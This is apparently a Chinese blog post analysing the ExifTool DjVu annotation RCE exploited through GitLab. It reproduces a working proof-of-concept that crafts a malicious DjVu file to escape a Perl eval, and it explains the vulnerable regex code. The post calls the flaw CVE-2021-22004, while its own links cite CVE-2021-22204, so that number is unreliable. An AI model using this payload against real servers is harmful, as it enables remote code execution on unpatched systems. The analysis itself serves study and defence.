0x00 前言
前段时间 GitLab 的未授权 RCE 出来之后影响还是蛮大的,所以跟进学习一下
Gitlab 这个漏洞主要是两部分组成:
- exiftool RCE CVE-2021-22004
- Gitlab 未授权
今天先来分析一下 CVE-2021-22004 这个漏洞
0x01 漏洞利用
作者公布的 payload
printf 'P1 1 1 0' > moo.pbm
cjb2 moo.pbm moo.djvu
printf 'ANTa\x00\x00\x00\x39"(xmp(\\\n".qx(open /System/Applications/Calculator.app);#"' >> moo.djvu
./exiftool moo.djvu > /dev/null
\x39 为后面的长度
0x02 漏洞分析
我这里使用的是 vulhub 中的 gitlab 环境,进入容器之后利用find命令全局寻找 exiftool,通过 -ver
获取版本信息为 10.80
exiftool CVE-2021-22004 漏洞版本为:7.44 ~ 12.23 所以 gitlab 使用的 exiftool 为存在 RCE 的版本
首先去 Github 上看 exiftool 的 Commit 信息
可以看到在更新日志中提到了修复了一个安全漏洞
https://github.com/exiftool/exiftool/commit/cf0f4e7dcd024ca99615bfd1102a841a25dde031
exiftool 是 perl 写的,通过全局搜索 eval 定位到漏洞代码,下载代码进行分析(从 release 中进行下载)
下载代码,找到对应的漏洞文件,全局搜索 eval qq 即可,从代码中可看到 eval ,那么肯定是前面的 $tok 绕过了正则,从而逃逸最终导致 RCE
这里看到注释中为 DjVu ,所以猜测是解析 DjVu 的地方
在分析之前需要先了解一下 DjVu 是什么东西
DjVu 是由 AT&T 实验室自 1996 年起开发的一种图像压缩技术,已发展成为标准的图像文档格式之一,可替代 PDF 成为网络传输扫描文档、数码照片、图像文件的主流技术
首先需要知道这个函数是做什么的,全局搜索 ParseAnt ,发现在 ProcessAnt 函数中进行了调用
从最上面的注释中可得知该函数是来处理 DjVu 的注解块的
但是注解块是啥..... 查阅文档找到了解释:
https://www.cuminas.jp/docs/techinfo/DjVu3Spec.pdf
所有类型的 DjVu 图像都可能包含注解块,注解块通常用于描述超链接、指定更多的查看器设置(背景、初始缩放等)以及可以保存元数据信息。注释块包含在 ANTa 或 ANTz 中
所以个人理解注释块中会存放一些信息,所以 exiftool 需要对其进行解析,那么上面提到的 ANTa 和 ANTz 又是什么
ANTa就是代表我们的数据是明文存放的,ANTz 的话就会利用 BZZ 编码器来进行压缩
下面来对比这两者之间的区别,用图片来进行展示
ANTa:
ANTz:
所以 ProcessAnt 这个函数就是对 ANTa 或 ANTz 的注解块来进行处理,具体处理调用了 ParseAnt
既然知道了函数大致是做什么的接下来就可以进行分析漏洞出现的原因了,再来看这个漏洞点,其实主要是红框部分
Tok: for (;;) {
last unless $$dataPt =~ /(\S)/sg; # 单行全局匹配非空格字符
if ($1 eq '(') {
...
} elsif ($1 eq ')') {
...
} elsif ($1 eq '"') {
$tok = '';
for (;;) {
my $pos = pos($$dataPt);
last Tok unless $$dataPt =~ /"/sg; # 处理多个 " 的情况
$tok .= substr($$dataPt, $pos, pos($$dataPt)-1-$pos);
# we're good unless quote was escaped by odd number of backslashes
last unless $tok =~ /(\\+)$/ and length($1) & 0x01; # 检查当前子字符串是否以奇数个反斜杠结尾。如果是,则假定它刚刚找到的引用已正确转义,并且应该是元数据的一部分
$tok .= '"';
}
$tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge; # 在传给qq之前,转义特定字符
$tok = eval qq{"$tok"};
} else {....}
push @toks, $tok if defined $tok;
}
检查当前子字符串是否以奇数个反斜杠结尾。如果是,则假定它刚刚找到的引用已正确转义,并且应该是元数据的一部分
last unless $tok =~ /(\\+)$/ and length($1) & 0x01;
我这里举个例子:
偶数情况,代表正确转义
"xxxx\\"
奇数情况,这样就没有被正确转义,所以就会在最后加上 \"
"xxxx\"
问题其实就出在这里,当我们提供这样输入时 \\\n"
,一个反斜杠,一个换行,一个双引号
由于 perl 的正则,$:从字符串的末尾开始匹配(或者新一行前面的字符串末尾)
所以 \\\n"
中的第一个 \ 就会被视为对 " 的转义,从而导致逃逸
有可能这样感觉不直观所以就修改代码,这样能更加清楚
ANTa\x00\x00\x00\x39"(xmp(\\\n".qx(open /System/Applications/Calculator.app);# \n 造成了换行,于是 \\ 为偶数,正则就判断转成功义
ANTa\x00\x00\x00\x39"(xmp(\
".qx(open /System/Applications/Calculator.app);# \\ => \ ," 就闭合掉了前面的引号,导致逃逸
命令执行
0x03 参考链接
https://blog.convisoappsec.com/en/a-case-study-on-cve-2021-22204-exiftool-rce/
https://wx.zsxq.com/dweb2/index/topic_detail/815145844851552
https://devcraft.io/2021/05/04/exiftool-arbitrary-code-execution-cve-2021-22204.html